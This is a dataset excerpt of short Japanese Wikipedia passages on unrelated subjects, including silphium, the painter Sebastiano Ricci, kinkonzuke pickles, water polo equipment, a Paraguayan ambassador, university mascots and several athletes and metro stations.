hotchpotch/wikipedia-multilingual-ir-pairs huggingface dataset:
春斗 出演
役名の太字は主演。
2020年
2018年
2019年
2022年
2023年
2024年
2025年
2021年
2022年
シルフィウム
シルフィウム（ラテン語：Silphium、またはレーザルート、レーザとも呼ばれる；古代ギリシャ語：σίλφιον、sílfion）は、古代ローマなどにおいて調味料、香水、媚薬、薬として使用された絶滅したと考えられる植物である。
シルフィウム 解説
シルフィウムは、古代北アフリカの都市キュレネからの重要な交易品であった。キュレネの経済にとって極めて重要であったため、同都市のコインの多くにはこの植物の図像が刻まれていた。特に重要だった部分は、その樹脂であり、ラテン語ではlaserpicium，lasarpicium，またはlaserと呼ばれた。（植物学者は、芳香植物の属名にLaserpitiumやLaserを用いていたが、シルフィウムはこれらの属には属しないと考えられている。）
シルフィウムはすでに絶滅しているため、その正確な正体は不明である。
この種はローマ時代に絶滅したとされているが、一般的にはオオウイキョウ属に属するジャイアントフェンネル(アサフェティダ）の一種であると考えられている。
シルフィウムは、所有する人々にとって非常に貴重なものであるとされていた。また、ローマの詩人や歌手によって詩に読まれており、その価値は金と同等であるとされていた。プリニウスは、古代ローマにおいてシルフィウムの価値が高騰した原因について、「税農」の不正や乱用に起因すると指摘している。税農たちがシルフィウムの供給を独占し、その価格を吊り上げたと考えた。また、ユリウス・カエサルは、ローマの財務記録においてシルフィウムを「1500ポンドのレーザー（laser）」として正式に登録しており、これは当時の価値の高さを示す重要な証拠とされている。
シルフィウム アイデンティティと絶滅
シルフィウムの正体については激しく議論されている。それは現存するサンプルがなければ遺伝子分析を行うことはできないからで、絶滅種または現生種として、フェルラ属に属すると一般的に考えられている。現存する植物であるThapsia gutmifera  、Ferula tingitana、Ferula narthex、Ferula drudeana、およびThapsia garganicaがその正体の可能性が示唆されている。特に、トルコに生息する固有種であるFerula drudeanaは、記載されている外観と、シルフィウムと性質が似ていると思われるスパイスのような樹脂を生成することから、シルフィウムの有力候補となっている。しかし、F. drudeanaはカスピ海南部地域の系統に属し、リビア東部との関連は知られていない。
また、違う説として、シルフィウムは単にローマ帝国で一般的に使われていた香辛料の一つであるアサフェティダの高品質な品種であったというものである。これら二つの香辛料は、ストラボンを含む多くのローマ人に同じものとみなされていた。
セバスティアーノ・リッチ
セバスティアーノ・リッチ（Sebastiano Ricci、1659年8月1日（洗礼日）- 1734年5月15日）は、イタリアの画家である。美術史においてバロック様式からロココ様式に代わる時期の画家である。宗教画や神話を題材にした作品を描いた。
セバスティアーノ・リッチ 略歴
現在のヴェネト州のベッルーノで生まれた。14歳でヴェネツィアに移りフェデリコ・チェルヴェッリ（Federico Cervelli:1638-1700）という画家の弟子になった 。妊娠させた女性を毒殺しようとしたとして投獄され有力者の支援で釈放され、ボローニャに移り、1682年にボローニャの礼拝堂の装飾画を描いた。1685年から、パルマ近郊やパルマの修道院で装飾画を描いた。1691年からはローマに移り、ローマではピエトロ・ダ・コルトーナ（1596-1669）やジョヴァンニ・ランフランコ（1582-1647）、アンドレア・ポッツォ（1642-1709）、ルカ・ジョルダーノ（1634-1705）といった画家たちの作品から影響受けた。1692年にフランスの宮廷からの依頼で、ラファエロの作品の模写も制作し、1694年にパトロンのパロマ公ラヌッチョ2世・ファルネーゼが亡くなると、ミラノに移り、サン・ベルナルディーノ・アッレ・オッサ教会(Chiesa di San Bernardino alle Ossa)の納骨堂礼拝堂の装飾画を描いた。その後パヴィアやモンツァでも働き、1698年ころにヴェネツィアに戻ったが、ウィーン（1702年）やフィレンツェ（1706年-1707年）でも働いた。
セバスティアーノ・リッチ 略歴
1711年頃、リッチは弟子であり、しばしば共作もした甥のマルコ・リッチ（1676- 1730）と共にイギリスへ渡り、二人はそこで1716年まで滞在し、いくつかの注文を受けた。1716年にパリ経由してヴェネツィアに戻り、パリでは二人は王立絵画彫刻アカデミーの会員に選ばれた。ヴェネツィアに戻った後も様々な有力者から注文を受けて働き、1734年にヴェネツィアで亡くなった。
マルコス・クビエク
マルコス・クビエク（Marcos Kwiek, 1967年7月18日 - ）は、ブラジルのバレーボール指導者。
マルコス・クビエク 来歴
サンパウロ出身。2002年、ブラジルのオザスコのアシスタントコーチとなり、2002/03、2003/04、2004/05シーズンのブラジル・スーパーリーガでは3連覇を支えた。2005/06シーズンは男子のクラブチームであるUnisul Esporte Clubeのアシスタントコーチを1年間務めた。2006/07シーズンは再び女子の指導者に復帰し、EC Pinheirosの監督に就任した。2010/11、2014/15シーズンにはドミニカ共和国のクラブであるMirador VCを務めた。2015年、ブラジルのSesi Vôlei Bauruの監督に就任し、2年間務めた。2022年5月、再びSesi Vôlei Bauruの監督に復帰し、2022/23シーズンのブラジル・スーパーリーガでは6位、南米クラブ選手権では銅メダルへ導いた。
マルコス・クビエク 来歴
2003年～2006年にかけてブラジル女子代表のアシスタントコーチとしてジョゼ・ギマラエスを支え、2004～2006年のワールドグランプリでは3連覇、2003年のワールドカップと2006年2006年バレーボール女子世界選手権では銀メダルの成績となった。2008年、ドミニカ共和国女子代表の監督に就任した。2009年には北中米選手権で金メダル、ワールドグランドチャンピオンズカップでは銅メダルへ導いた。2012年、チームを2大会ぶりの五輪となるロンドン五輪へ導き、チームはベスト8入りを果たした。2014年の世界選手権では開催国のイタリアを破るなど躍進をみせ、歴代最高の5位タイの成績をおさめた。2020年1月の東京五輪北中米予選では2大会ぶりに五輪へ導き、東京五輪本大会ではベスト8入りを果たした。2023年、パリ五輪予選では中国、セルビアなどに勝利し、2大会連続の五輪出場権獲得を果たし、パリ五輪本大会ではベスト8入りを果たした。
金婚漬
金婚漬（きんこんづけ）は、岩手県花巻市で製造、販売されている漬物（古漬け）。ウリの中を繰り抜き、ニンジン、ゴボウ、ダイコン、ワラビなどを昆布で巻いたものを詰めた漬物である。
輪切りにしたときの断面が工芸品のように美しく、「漬物の芸術品」とも称される。
金婚漬 概要
シロウリのワタを繰り抜いて、ニンジン、ゴボウ、ダイコン、ワラビなどを昆布で巻いたものを詰め、味噌床で長く漬け込んだ古漬けである。三重県の養肝漬に似る。鉄砲漬にも似るが、金婚漬は昆布を用いるのが特徴となっている。
めでたい漬物ということで、岩手では、祝いの席や結婚式において欠かせないものとなっている。
金婚漬 製造・販売・起源
1962年創業の「道奥」が製造販売を行っている。道奥では金婚漬を販売するための「金婚亭」の営業も行っている。
この地域では江戸時代から農家では野菜の味噌樽漬けを作っており、農閑期に漬け込むことで冬場に不足しがちな栄養源として親しまれていた。
道奥は1962年に民芸品販売として創業したが、まったく売れなかった。翌年に郷土で親しまれていた漬物を広めようと道奥で商品化したところ、評価され、以降、主力製品として製造、販売を続けている。
金婚漬 名前の由来
味噌床で長く漬け込むことにより、シロウリは鼈甲色に染まる。この色合いが金婚式を迎えた老夫婦的な味わいとして名付けられた。
この他に、切る前のまるごと1本の外観がキンコ（ナマコのこと）に似ていることからの命名との説もある。
金婚漬 作り方の例
収穫されたシロウリは、竹べらで中のワラを掻き出し、強めの塩を振って貯蔵する。
貯蔵されたシロウリを適宜取り出して、細切りにした野菜を昆布で巻いて、シロウリの中に固く詰め込む。固く、隙間無く詰め込むのが肝要である。詰め込むことで、出来上がりを薄く切っても、中の具がウリの果肉に納まっていることになる。
アムステルダムの青物市場
『アムステルダムの青物市場』（アムステルダムのあおものいちば、仏: Le Marché aux herbes d'Amsterdam, 英: The Vegetable Market in Amsterdam）は、17世紀オランダ絵画黄金時代の画家ハブリエル・メツーがアムステルダム時代の円熟期にあたる1660-1661年にキャンバス上に油彩で制作した絵画である。画面下部右端にある封筒に「Metsu」という画家の署名が記されている。1783年にフランス国王ルイ16世に購入された作品で、現在、パリのルーヴル美術館に所蔵されている。
アムステルダムの青物市場 作品
本作に描かれているのは、青物市場が開かれていたアムステルダムのプリンセンフラハト地区である。メツーはここに居住していたため、彼の家からは画面の背後にある建物を見ることができた。
運河に面した市場の一角を舞台に、値段を巡って言い争う女たちや、買い物に来た若い女に口説きかける男の姿が生き生きと表されている。前景の野菜や鳥籠の迫真的な細密描写には、ライデンに生まれ、ヘラルト・ドウの影響を受けたメツーの本領が発揮されている。ちなみに、中央の男女の情景は、オランダの詩人・劇作家のヘルブラント・ブレデーロが1615年に書いた喜劇で、当時非常に人気のあったモールチェ (Moortje) を示唆したものとなっている。
研究者ホフステーデ・デ・フロートは、1908年に本作について「素晴らしい作品であるが、非常に傷んだ状態にある。全体として、木々はうまく描けておらず、メツーが風景画家でなかったのは明らかである」と述べている。
また、研究者シーモア・スライヴは、1833年に以下のように述べている。「この重要な作品は、画家の傑作であると評価されてきた。そして、作品が売却されてきた折々の高価格はその意見を証だてている。しかし、著者は決して同意することはできない。なぜなら、この作品には、識者の賞賛を得るためのずっと高い基準が求められるからである」。
アムステルダムの青物市場 細部
この絵画は最近洗浄され、以前よりよく細部を見ることが可能となった。
ナオユキ・トヨトシ
ナオユキ・トヨトシ（Naoyuki Toyotoshi、豊歳 直之、1936年‐）は、パラグアイ共和国の外交官、実業家。
2009年に駐日パラグアイ特命全権大使に就任した。東京に駐日パラグアイ大使館が開設されてから第9代特命全権大使となる。2017年離任。
日本生まれの日本育ちの日本人であり、アルゼンチンを経て、パラグアイ移住後も長く日本国籍者であった。しかし、パラグアイ共和国政府より2009年に駐日特命全権大使に就任を要請され、パラグアイ国籍を取得した。日本国の戸籍の漢字表記は「豊歳 直之」。
トヨトシは、パラグアイの日系社会出身者として、イサオ・タオカ（田岡功）駐日大使（第8代：在任2004年‐2009年）に次いで、2人目の駐日特命全権大使となった。3人目は、トヨトシ大使の次男のマリオ・マサユキ・トヨトシ駐日大使（第11代：2024年 - ）であり初のパラグアイ生まれの日系二世である。
日本人として2006年に旭日小綬章を、パラグアイ人として2017年に旭日大綬章を受章した。
ナオユキ・トヨトシ 来歴
1936年東京生まれ。東京都立第一商業高等学校を卒業後（第31期）、早稲田大学政治経済学部経済学科に入学し、在学中は海外移住研究会に所属した。早稲田大学を卒業後、大阪商船（現：商船三井）に入社。移民船の事務員を希望したが、配属先は陸上勤務でニューヨーク航路であった。その後、東京本社に異動してからしばらくして、日系人大会で知り合ったブエノスアイレスの現地会社の人に依頼していた呼び寄せ許可がようやく届いた。勿論、家族も会社も大反対であったが、学生時代からの夢を実現することに優るものはなく、豊歳氏は1960年2月4日に『スペイン語四週間』を手に、ぶらじる丸でアルゼンチンへ移住した。
ナオユキ・トヨトシ 来歴
その後、バイクの輸入販売事業の誘いを受け、1969年にパラグアイに移住した。パラグアイで将来の自動車市場の拡大を確信し、トヨタ自動車の販売などを手がける「トヨトシ・グループ」（TOYOTOSHI S.A.）を設立。自動車のみならず、ブリジストン、ソニーの販売なども手がけ、商船三井との合弁事業として河川運輸会社「T.F.P.」の設立運営、他にも、「ケイコ牧場」（夫人の名から）、自動車用の革シート製造、KDDIとの提携での携帯電話などの事業を経営するなど、パラグアイに9社、カナダに2社、アメリカに1社、フランスに1社、グループ全体で1000名を超える従業員を抱える、パラグアイでは屈指の大企業に育てあげた。大使就任後は、グループ事業を2人の息子マルセロ、マリオ（現駐日大使）と娘パトリシア（日本パラグアイ学院理事長）の婿の手に委ねた。
事業展開の傍ら、公職として、パラグアイ日本商業会議所会頭（第2代）、1986年のパラグアイ移住50周年記念式典執行委員長、同60周年記念式典執行委員長、アスンシオン日本人会会長、パラグアイ日本人会連合会会長などの要職を歴任するなど、同国在住の日本人の連帯組織で日本とパラグアイの架け橋として友好親善のために活躍し、特に日本パラグアイ人作りセンターや、日本パラグアイ学院の創設には私財を投じて尽力した。
これらの功績が認められ、2006年秋の叙勲で在外日本人として、旭日小綬章を受章した。
2009年に駐日大使就任の打診を受け、そのために必要なパラグアイ国籍を取得した。
2009年10月にフェルナンド・ルゴ大統領によって、駐日パラグアイ共和国特命全権大使に任じられた。2009年12月8日に皇居にて信任状捧呈式に臨み、2017年11月20日までの約8年間大使の任にあった。
2017年11月14日付で大使離任にあたり日本国政府より旭日大綬章を受章した。11月17日に伝達式が行われ、佐藤正久外務副大臣から勲章が贈呈された。
ナオユキ・トヨトシ 人物
「……パラグアイは日本企業の同国への投資を歓迎すると共に、パラグアイ産品の輸出振興に協力を要請したい、と熱っぽく語った先輩はすっかりパラグアイ大使に成りきっていた。
「都の西北」を歌った後、散会してタワーを出ると、大使は同方面に帰る後輩二人とTAXIで帰途に就いたのである。これには驚いた。この大使は公私混同を嫌い、この日の早大訪問は私的なものとして、大使公用車は使わなかった、のである。中々出来ないことである。
兎に角、パラグアイはファースト・クラスの人物を大使として送り込んできたのである。……」
「……2009年に大使となる段階で日本の国籍を離脱しなければならないことになります。というのは日本政府が日本の国籍を持った者をパラグアイ駐日大使として迎える訳にはいかないということです。このことも私が大使になりたくなかった大きな理由でした。」（聞き手：同窓会の「ご家族の国籍はどうなっていますか？」の問いに対して）「日本は血統主義ですが、南米は出生主義です。私の長男と長女はアルゼンチン、次男はパラグアイ、次男の子供はカナダ生まれのためカナダです。妻は日本国籍のままです。……」。
ナオユキ・トヨトシ 著書
豊歳直之『パラグアイにかけた夢 ― 豊歳直之・わが人生』かまくら春秋社、2011年、221p. ISBN：9784774005317 。著者の自叙伝としてだけでなく、移住当時の南米社会の状況を理解する上で、非常に興味深い作品である。
松根マサト
松根マサト（まつねまさと）は、日本の男性アニメーション監督、脚本家、ラジオパーソナリティ。沖縄県出身、福井県育ち。アリスフロムジャパン株式会社代表取締役。
松根マサト 経歴
UIデザイナー出身のアニメーション監督。フリーランスのグラフィックデザイナーとして独立後、デザイン事務所であるアリスフロムジャパン株式会社を創業。モーショングラフィックスを活用したゲームやアニメのオープニング映像制作に携わるほか、これまでに多数の作品で監督や脚本を務めている。
また、アニメ制作の現場や業界のトレンドを、業界に携わるゲストを招いて紹介するラジオ番組「夕やけホッとTIME【アニメトマツネ！】」にてラジオパーソナリティを務めている。
松根マサト 参加作品
2013年
ダンガンロンパ 希望の学園と絶望の高校生（オープニング映像監督）
2015年
ケイオスドラゴン 赤竜戦役（監督）
2017年
時間の支配者（監督、脚本、絵コンテ）
2019年
サークレット・プリンセス（オープニング映像監督）
エガオノダイカ（オープニング映像監督、オープニング絵コンテ）
2020年
異種族レビュアーズ（絵コンテ）
地縛少年花子くん（オープニング映像監督）
2021年
WIXOSS DIVA(A)LIVE（監督、脚本、絵コンテ）
ジャヒー様はくじけない!（オープニング映像監督）
2022年
それでも歩は寄せてくる（オープニング映像監督）
薔薇王の葬列（絵コンテ）
2023年
七つの魔剣が支配する（監督、脚本、絵コンテ）
2024年
魔法使いになれなかった女の子の話。（監督、絵コンテ）※総監督は渡部高志
2025年
ネクロノミ子のコズミックホラーショウ（監督）
日本測地学会
日本測地学会（にほんそくちがっかい、英: The Geodetic Society of Japan）とは、測地学に関する調査・研究を行う日本の学会である。会員数は約450名。
水球ボール
水球ボール（すいきゅうボール）は水球やカヌーポロで使用されるボールで、通常は明るい黄色と握りやすさに特徴付けられ、これによりその大きなサイズにもかかわらず片手で持てるようになっている。
水球ボール 標準的な水球ボールの特徴
水球ボールの標準的な大きさは以下のようになっている。
水球ボール 水球ボールの発展
19世紀後半にラグビーフットボールの一種として近代的な水球が始まり、イングランドとスコットランドの川で試合が行われるようになった頃には、インドの植民地プランテーションから輸入したゴムで作った3インチから4インチの小さなボールが使われていた。この「ウォーターラグビー」はバルティ語でボールを表すpuluという単語の英語による発音に基づき、「ウォーターポロ」と呼ばれるようになった。当初のボールは直ちにサッカーボールに道を譲り、これによりボールを持って水上でパスをしたり泳いだりできるようになった。しかし、革のサッカーボールは水を吸収して非常に重くなってしまい、濡れると滑りやすく制御が不可能になってしまった。1936年にカリフォルニア州の水球コーチで水球の力学に関して複数の著書のあるジェームズ・R・スミスは膨らませられる浮き袋とゴム繊維のカバーで作られたボールを開発し、パフォーマンスを向上させた。新しいボールは赤色だったが、選手の見やすさの向上を考慮して1948年までに黄色が認められた。1956年にはこれが世界水泳連盟とオリンピックの水球競技における公式となった。
水球ボール 水球ボールの最近の更新
2005年上半期に、世界水泳連盟は公式戦で使われる水球ボールの規格への変更を認めた。この変更により黒、緑、赤、青、または黄色の色付きの縞を中央に、通常の黄色の縞を側面に入れることが認められた。
2006年5月、全米大学体育協会と全米州立高校協会の規則委員会は両協会に認可された全ての試合で色付きのボールの使用を許可する規定の変更を行ったと発表した。それまでのルールは水球ボールが「黄色に黒線」でなければならないと定めていたが、新しい表現では色付きのパネルが認められる。新しい色付きのボールの製造業者であるミカサは、新しいボールは女性用のボールを男性用のボールから区別し、ボールの適切な回転を教えることに役立ち、チームにとってボールの軌跡を追うことがより容易になるためチームに利益があると主張した。
独特のデザインと色の組み合わせが特別な大会を記念するために使われたこともある。
たつた (護衛艦)
たつた（ローマ字：JS Tatsuta, FFM-11）は、海上自衛隊の護衛艦。もがみ型護衛艦の11番艦。艦名は奈良県生駒市付近を流れる大和川の支流竜田川に由来する。この名を受け継いだ日本の艦艇としては、大日本帝国海軍の水雷砲艦「龍田」、天龍型軽巡洋艦の2番艦「龍田」に続き3代目にあたり、海上自衛隊の艦艇では初の命名である。
本記事は、本艦の艦歴について主に取り扱っているため、性能や装備等の概要についてはもがみ型護衛艦を参照されたい。
たつた (護衛艦) 艦歴
中期防衛力整備計画に基づく令和5年度計画護衛艦として、三菱重工業に発注され、2024年7月3日に三菱重工業長崎造船所で起工、2025年7月2日に命名され進水した。今後、艤装や各種試験を実施したのち、2026年12月に就役する予定。
進水時点では、クルー制導入のため艤装員長は決められなかった。
大学のマスコットキャラクター一覧
大学のマスコットキャラクター一覧は、大学の公式マスコットキャラクターおよびそれに類するものの一覧である。
以下、大学の都道府県は大学本部所在地の都道府県とし、国立大学、公立大学、私立大学の順番でそれぞれ五十音順に列挙する。
大学のマスコットキャラクター一覧 北海道
国立大学
北海道大学
ふっとう君（北大祭） - 妖精。
ほのか（図書館） - エゾリスという設定で2016年2月29日に名称が決定した。
うらら（図書館） - エゾリスという設定で2016年2月29日に名称が決定した。
スーガくん（理学部数学科）
オメガちゃん（理学部数学科）
絶対零子（理学部物理学科） - 理学部物理学科2回生という設定。
える娘（ELMS）
CoSMO-chan（技術支援・設備共用コアステーション）
公立大学
私立大学
大学のマスコットキャラクター一覧 東北地方
国立大学
公立大学
私立大学
国立大学
私立大学
国立大学
東北大学
研一 - 創立115周年・総合大学100周年を記念して誕生。
きんけんちゃん（金属材料研究所）
いだっち（加齢医学研究所）
りゅーたん（流体科学研究所）
リエっくん（電気通信研究所）
さいがい犬イリ（災害科学国際研究所）
うしとらーん（東北アジア研究センター）
ふーちゃん（学際科学フロンティア研究所）
PIくん（材料科学高等研究所）
ふみくん（史料館）
はぎのすけ（図書館）
ずんだぬき（工学系女性研究者育成支援推進室）
シュウ（萩友会）
ユウ（萩友会）
カイ（萩友会）
ぺーとん（東北大学祭）
私立大学
国立大学
公立大学
国立大学
公立大学
国立大学
大学のマスコットキャラクター一覧 関東地方
国立大学
私立大学
国立大学
私立大学
国立大学
公立大学
国立大学
公立大学
私立大学
国立大学
私立大学
国立大学
東京大学
赤門じい（ひらけ！赤門プロジェクト） - 東京大学130周年記念事業で誕生した「赤門爺」のリバイバルであり、2025年に登場した。
ISTyくん（大学院情報理工学系研究科）
イチ公（運動会） - 第48回全国七大学総合体育大会のマスコットとして登場した「ナナ公」が好評であったため、「イチ公」の名前で運動会のマスコットキャラクターとなった。
結晶すぽんじ（社会連携講座「統合分子構造解析講座」）
こまっけろ（駒場祭）
こまとちゃん（駒場図書館）
コマバのユータス（教養学部） - モチーフはカラスである。
シェイクン（社会科学研究所）
物性犬（物性研究所）
めい（五月祭）
公立大学
私立大学
日本大学
ミサコン（経済学部三崎祭）
ゲーサイヌ（藝術学部日芸祭）
咲良舞（工学部北桜祭）
咲良楽（工学部北桜祭）
咲にゃん（工学部北桜祭）
さんちゃん（三軒茶屋キャンパス）
ちゃーさん（三軒茶屋キャンパス）
こだぐま（商学部砧祭）
生産タクマ（生産工学部）
生産シーナ（生産工学部）
フードック（生物資源科学部食品ビジネス学科）
トム＆マーヤ（文理学部桜麗祭）
フェニ男（法学部法桜祭）
ふーぷく（理工学部桜理祭）
国立大学
公立大学
私立大学
大学のマスコットキャラクター一覧 中部地方
国立大学
公立大学
私立大学
国立大学
公立大学
国立大学
私立大学
国立大学
国立大学
私立大学
国立大学
私立大学
松本歯科大学
ブラストちゃん - 骨芽細胞をモチーフとする。2017年の第34回松濤祭で初登場。
クラストくん - 破骨細胞をモチーフとする。2017年の第34回松濤祭で初登場。
PTH - 2018年の第35回松濤祭で初登場。
カルシトニン - 2018年の第35回松濤祭で初登場。
活性型ビタミンD - 2018年の第35回松濤祭で初登場。
サイトちゃん - 2018年の第35回松濤祭で初登場。
アゴつむり - 2018年の第35回松濤祭で初登場。
プラークン - 歯垢をモチーフとする。
国立大学
私立大学
国立大学
国立大学
私立大学
大学のマスコットキャラクター一覧 近畿地方
国立大学
私立大学
国立大学
国立大学
公立大学
私立大学
国立大学
公立大学
私立大学
国立大学
公立大学
私立大学
国立大学
国立大学
大学のマスコットキャラクター一覧 中国・四国地方
国立大学
私立大学
国立大学
公立大学
公立大学
私立大学
国立大学
公立大学
私立大学
国立大学
国立大学
私立大学
国立大学
私立大学
国立大学
私立大学
国立大学
大学のマスコットキャラクター一覧 九州・沖縄地方
国立大学
公立大学
私立大学
国立大学
私立大学
国立大学
私立大学
国立大学
私立大学
国立大学
私立大学
国立大学
私立大学
Koshi Inaba LIVE 2024 〜en-Zepp〜
『Koshi Inaba LIVE 2024 〜en-Zepp〜』（コウシ・イナバ・ライブ・トゥエンティ・トゥエンティ・フォー・エン・ゼップ）は、日本の音楽ユニット・B'zのボーカリスト・稲葉浩志の6作目の映像作品。2025年9月24日にVERMILLION RECORDSから発売。
『en-Zepp 1』から『en-Zepp 6』の6種類に、すべてをセットにした『COMPLETE CUBE』（完全受注生産限定）を加えた全7種類が、DVDとBlu-ray Discで発売。
Koshi Inaba LIVE 2024 〜en-Zepp〜 概要
2024年6月に6日間にわたってZepp Hanedaで行われたレジデンシー公演「Koshi Inaba LIVE 2024 〜en-Zepp〜」をパッケージ化。このライブは、稲葉浩志ソロのキャリアを総括したオールタイムベストライブであり、1stアルバム『マグマ』から最新アルバム『只者』まで、全6作のソロアルバムごとにコンセプトが組まれ、その日限りの楽曲が演奏された。
パッケージは各公演ごとの単体盤と、全日分をコンプリートした完全受注生産限定盤の2形態で発売。限定盤には特典として舞台裏の様子を収めたドキュメンタリー映像やフォトブックなどの特典が同梱される。
Koshi Inaba LIVE 2024 〜en-Zepp〜 リリース形態
それぞれDVD版とBlu-ray Disc版で発売。
完全受注生産限定盤で、DVD版とBlu-ray Disc版で発売。各単体盤6枚に加え、ドキュメンタリー映像作品「DOCUMENTARY ～Surviving en-Zepp～」、100ページのフォトブック、リリックブック、タダモノノート＆メタルペンシルが特殊ボックスに同梱される。
Koshi Inaba LIVE 2024 〜en-Zepp〜 収録映像
『COMPLETE CUBE』（完全受注生産限定）のみに付属。舞台裏の様子を収めたドキュメンタリー映像。
水球帽子
水球帽子（すいきゅうぼうし）は水球と他の多くの水中スポーツで使用される帽子の一種である。水球帽子は選手と選手の所属するチームの両方を特定するだけではなく、水球ボールが頭を直撃することによって起きる可能性のある負傷から選手の耳を保護するためにも使われる。
水球帽子 水球での使用
水球帽子は色だけでなく、帽子に印刷された番号によっても区別される。ホームチームの選手は白い帽子を着用するのに対し、遠征するチームの選手は黒い帽子を着用する。ゴールキーパーは番号が1番の赤い4分の1サイズの帽子を着用し、控えのゴールキーパーは全米大学体育協会の試合では「1-A」の、世界水泳連盟の国際試合では「13」の番号が付いた帽子を着用する。つまり、各チームは帽子を2セットずつ持っている。1セットは白色で、もう1セットは黒色である。全米州立高校協会が定めた水球の服装に関する規定では、帽子の番号は帽子の色と十分なコントラストが確保されること、帽子の色と番号の色の両方がボールの色と十分なコントラストが確保されることが定められている。
水球帽子 水中スポーツの文脈
水中フットボール、水中ホッケー、水中ラグビーでは競技を行っているチームの区別と、フィンの羽根の部分が耳に直接接触することによる鼓膜の損傷の帽子を目的として選手は水球帽子を着用する。水中ホッケーと水中ラグビーでは審判が赤い帽子を着用するのに対し、各チームの選手は「白」または「暗い色（青または黒）」のどちらかの帽子を着用する Underwater football appears to follow this precedent.。水球帽子は水中レスリングでも区別の目的で使用される。選手の一人は赤色または青色の帽子を着用し、他方は白色または黄色の帽子を着用する。
Koshi Inaba LIVE 2024 〜enIV〜
『Koshi Inaba LIVE 2024 〜enIV〜』（コウシ・イナバ・ライブ・トゥエンティ・トゥエンティ・フォー・エン・フォー）は、日本の音楽ユニット・B'zのボーカリスト・稲葉浩志の5作目の映像作品。2025年8月27日にVERMILLION RECORDSから発売。
Koshi Inaba LIVE 2024 〜enIV〜 概要
ソロとして10年ぶりのリリースとなったアルバム『只者』を携え、2024年6月から8月にかけて開催された全国ツアー「Koshi Inaba LIVE 2024 〜enIV〜」より、Kアリーナ横浜公演を全曲完全収録。また特典映像として、ライブにかける渾身の姿とバックステージの模様を収めた2時間25分におよぶ長編ツアードキュメンタリーも付属している。さらに封入特典として、オリジナルポストカード3枚セットが同梱されている。
本作のプロモーションとして、東京都西武新宿駅前の屋外広告メディア、ユニカビジョンにて、本作に収録されている「NOW」、「Stray Hearts」、「羽」の映像がフルサイズで期間限定で放映された。
ペペサナ・パタフィロ
ペペサナ・パタフィロ（Pepesana Patafilo、1997年5月29日 - ）は、ニュージーランド出身のラグビーユニオン選手。ジャパンラグビーリーグワンの九州電力キューデンヴォルテクスに所属している。
ペペサナ・パタフィロ 経歴
ウェリントン・カレッジでは、一軍のセンターで活躍。2015年に、ウェリントンのタワRFCに加入。同年、U19ウェリントンのキャプテンを務め、2016年にはジュビリーカップ優勝を果たした。
2019年、ニュージーランド州代表選手権（NPC）のウェリントン・ライオンズに加入し、ホークス・ベイ戦でNPCデビュー。
2021年、スーパーラグビーのハリケーンズに加入。2023年にはクルセイダーズ、2024年からはモアナ・パシフィカに移る。
2025年7月、ジャパンラグビーリーグワンの九州電力キューデンヴォルテクスに入団した。
Libero 5G IV
Libero 5G Ⅳは，中国のZTE開発のYmobile向けAndroidスマートフォンである。
Libero 5G IV 概要
2023年12月7日発売12月１日予約開始．値段は2万1996円
Libero 5G IV 仕様
ブラック，ブルー，ホワイトの三色が展開されている．
フルHD+の6.6インチディスプレイを搭載．前モデルのLibero 5G Ⅲは有機ELディスプレイであった．
4420mAhのバッテリーを搭載．本体下部のUSB-Cポートから67Wで充電可能．ワイヤレス充電は非対応．
大学城南駅 (昆明市)
大学城南駅（だいがくじょうみなみえき）は、中華人民共和国雲南省昆明市呈貢区雲南白薬街と欣慧路の交差点に位置する昆明地下鉄1号線の駅である。
大学城南駅 (昆明市) 駅構造
島式ホーム2面2線を有する地下駅。
案内上ののりば番号は設定されていない。
大学城南駅 (昆明市) 隣の駅
昆明地下鉄
■ 1号線
大学城駅 (12 17) - 大学城南駅
ジュード・ギブス
ジュード・ギブス（Jude Gibbs、2001年7月2日 - ）は、オーストラリア出身のラグビーユニオン選手。ジャパンラグビーリーグワンの九州電力キューデンヴォルテクスに所属している。
ジュード・ギブス 経歴
ハンターズヒルのセント・ジョセフ・カレッジに通い、2019年にオーストラリア・スクールズ・バーバリアンズとして出場した。
2025年、スーパーラグビーのレッズのメンバーに選出された。第9節のブランビーズ戦に控えから出場して、プロチームデビューを果たした。
2025年7月、ジャパンラグビーリーグワンの九州電力キューデンヴォルテクスに加入した。
ルビオ・ルビン
ルビオ・ヨバニ・メンデス・ルビン（Rubio Yovani Méndez Rubín、1996年3月1日 - ）は、アメリカ合衆国・オレゴン州ビーバートン出身のプロサッカー選手。サッカーグアテマラ代表。チャールストン・バッテリー所属。ポジションはFW。
ルビオ・ルビン 経歴
地元のオレゴン州ビーバートンのウィットフォード中学校に通っていた。ウェストサイド・メトロズでユースキャリアをスタートさせ、ビーバートン高等学校でプレーした。
2014年3月、18歳でオランダ・エールディビジのFCユトレヒトと4年契約を結んだ。同年8月17日、ヴィレムⅡ戦で先発出場し、90分間フル出場、アシストを記録した。
ルビオ・ルビン 代表歴
グアテマラ、メキシコ、アメリカのいずれかでプレーする資格があったが、2014年9月3日、アメリカ代表に合流した。 同年11月14日、コロンビア戦で代表デビュー。
2022年6月2日、CONCACAFネーションズリーグでフランス領ギアナ戦でグアテマラ代表デビューを果たした。
ルビオ・ルビン 人物
メキシコ人の父と、グアテマラ人の母の間にアメリカで生まれた。
大学城北駅 (合肥市)
大学城北駅（だいがくじょうきたえき）は、中華人民共和国安徽省合肥市蜀山区翡翠路と丹霞路の交差点に位置する合肥軌道交通3号線の駅。
大学城北駅 (合肥市) 駅構造
島式ホーム1面2線を有する地下駅。
案内上ののりば番号は設定されていない。
大学城北駅 (合肥市) 隣の駅
合肥軌道交通
■ 3号線
繁華大道駅 - 大学城北駅 - 工大翡翠湖校区駅
孟宗汁
孟宗汁（もうそうじる）は山形県庄内地方の郷土料理。孟宗竹のタケノコ（孟宗）を煮て、味噌と酒粕で味付けした汁物である。
孟宗汁 概要
日本における孟宗竹の産地の最北端は、山形県庄内地方南部にある鶴岡市とされる。鶴岡市の湯田川温泉周辺は孟宗竹の産地としても知られ、湯田川で収穫される孟宗は「湯田川孟宗」として日本全国に知られる。
孟宗汁は味噌汁に酒粕を入れて作るのだが、酒粕を入れるのは日本全国的にも珍しく鶴岡独特の食べ方とされる。
孟宗汁 食習の機会
湯田川温泉では4月下旬から6月初旬に「孟宗まつり」を開催しており、孟宗汁をはじめとする孟宗料理、孟宗朝市、孟宗収穫体験などを目当てとした観光客が多く訪れる。5月に行われている「酒田まつり」や「鶴岡天神まつり」でも、孟宗汁がご馳走の1つとして提供されている。
